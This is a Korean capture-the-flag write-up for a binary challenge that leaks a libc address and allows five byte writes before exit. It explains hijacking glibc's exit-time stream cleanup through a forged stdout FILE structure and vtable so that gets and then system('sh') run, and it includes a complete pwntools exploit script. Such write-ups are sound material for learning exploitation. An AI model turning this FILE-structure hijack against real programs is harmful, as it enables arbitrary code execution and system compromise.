
바이너리는 pie, full relro가 걸려있다.
시작시 libc address를 leak 해주고, 5번가량의 arbitrary write를 준다.
그리고 바로 exit로 프로그램을 종료시킨다.
생각을 조금 해보면 덮을곳은 exit를 처리하는 과정에서 사용하는 부분밖에 없다는것을 알 수 있다.
보통은 fs:0x30을 알아내서 atexit
를 덮던가, __tls_get_addr@got
를 덮어내는데, 이 2개다 이번 문제에서는 불가능하다.
__libc_atexit에는 처음에 fcloseall_0
라는 함수가 있다. 이를 exit처리하면서 부르게 되는데,
이 함수는 IO_list_all
를 참조하여 _IO_file_jumps + 0x58지점의 함수를 부르게 된다.
처음에는 _IO_2_1_stderr를 정리하고, chain을 따라가면서 stdout, stdin을 정리하게 되는듯 싶다.
원래대로면 해당 _IO_2_1_stderr, out, in 의 _IO_file_jumps를 1byte 바꾸고, 바꾼 주소 부근에 oneshot를 넣어서 쉘을 얻어내는 것 같다.
하지만 나는 이걸 대회때 생각을 못해서 IO_list_all의 1byte를 수정하고, 거기에 _IO_file_jumps의 위치를 계산하고, 거기에 +0x58지점에 oneshot을 넣었다.
하지만 이럴경우 oneshot이 제대로 먹히질 않는다. 따라서 gets로 덮어내었다.
gets로 덮어낼경우 _IO_2_1_stdout에 값을 쓸 수 있게 된다.
따라 fake file structure를 구성할 수 있다. 이를 구성하면서 chain 과 _IO_file_jump를 적당히 조절한다.
chain같은 경우는 _IO_2_1_stdout을 넣어서 다시 자기를 부르게 한다.
_IO_file_jump는 뒷부분의 fake 주소를 넣는다.
이렇게 되면 다시 gets를 실행할 수 있다. 다시 gets를 실행할 때는,
_flags부분에는 sh를 넣어주면 되는데, fcloseall_0
에서 처리하는 과정에서 해당 _flags를 체크하고, 값을 바꾼다. 따라서 적당히 맞춰넣으면 되는데 “a;sh!“를 넣으면 적당히 맞는다.
chain 같은 경우는 그대로 _IO_2_1stdout을 가리키고
IO_file_jump는 뒷부분 fake주소인데, system을 실행하게끔 하면 된다.
이 때 적당히 다른애들도 맞춰줘야하는데 다 _IO_2_1_stdout주소를 넣으니 적당히 맞았다.
from pwn import *
#p = remote('150.109.44.250', 20002)
p =process("./the_end")
libc = ELF("./libc64.so")
p.recvuntil("token:")
p.sendline("fxLaMEMMjWFp1fK9aNLMnqowfHQ2cBt1")
p.recvuntil('gift ')
leak = int(p.recvuntil(',')[:-1],16)
libcbase = leak - libc.symbols['sleep']
log.info("LIBCBASE : 0x%x" % libcbase)
oneshot = libcbase + libc.symbols['gets']#0xf02a4#0x4526a
target = libcbase + libc.symbols['_IO_2_1_stdout_'] + 0xd8 # _IO_file_jumps
one_target = libcbase + libc.symbols['_IO_file_jumps'] + 0x1500
context.log_level='debug'
p.send(p64(target+1))
p.send(chr(one_target >> 8 & 0xff))
pause()
p.send(p64(one_target+0x58))
p.send(chr(oneshot & 0xff))
p.send(p64(one_target+1+0x58))
p.send(chr(oneshot >> 8 & 0xff))
p.send(p64(one_target+2+0x58))
p.send(chr(oneshot >> 16 & 0xff))
log.info("Target : 0x%x" % target)
log.info("Onetarget : 0x%x" % one_target)
fake = p64(0x00000000fbad2a84)
fake += p64(0)*13
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])
fake += p64(0)
fake += p64(0xffffffffffffffff)
fake += p64(0)
fake += p64(libcbase + 0x3c6780)
fake += p64(0xffffffffffffffff)
fake += p64(0)
fake += p64(libcbase + 0x3c47a0)
fake += p64(0)*3
fake += p64(0xffffffff)
fake += p64(0)*2
fake += p64(libcbase + 0x3C5720) # jump
fake += p64(libcbase + libc.symbols['_IO_2_1_stderr_'])
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])
fake += p64(libcbase + libc.symbols['_IO_2_1_stdin_'])
p.sendline(fake + p64(libcbase + libc.symbols['gets'])*40 +p64(libcbase + libc.symbols['system'])*40)
fake = "a;sh!" + '\x00\x00\x00'
fake += p64(libcbase + libc.symbols['_IO_2_1_stdout_'])*(13 + 13)
fake += p64(libcbase + 0x3c5720 + 8*40)
sleep(0.1)
p.sendline(fake)
p.interactive()
이런식으로 chain을 조절하며 문제를 풀어낼 수 도 있다.
뭔가 많이 돌아간 느낌도 많이 들지만…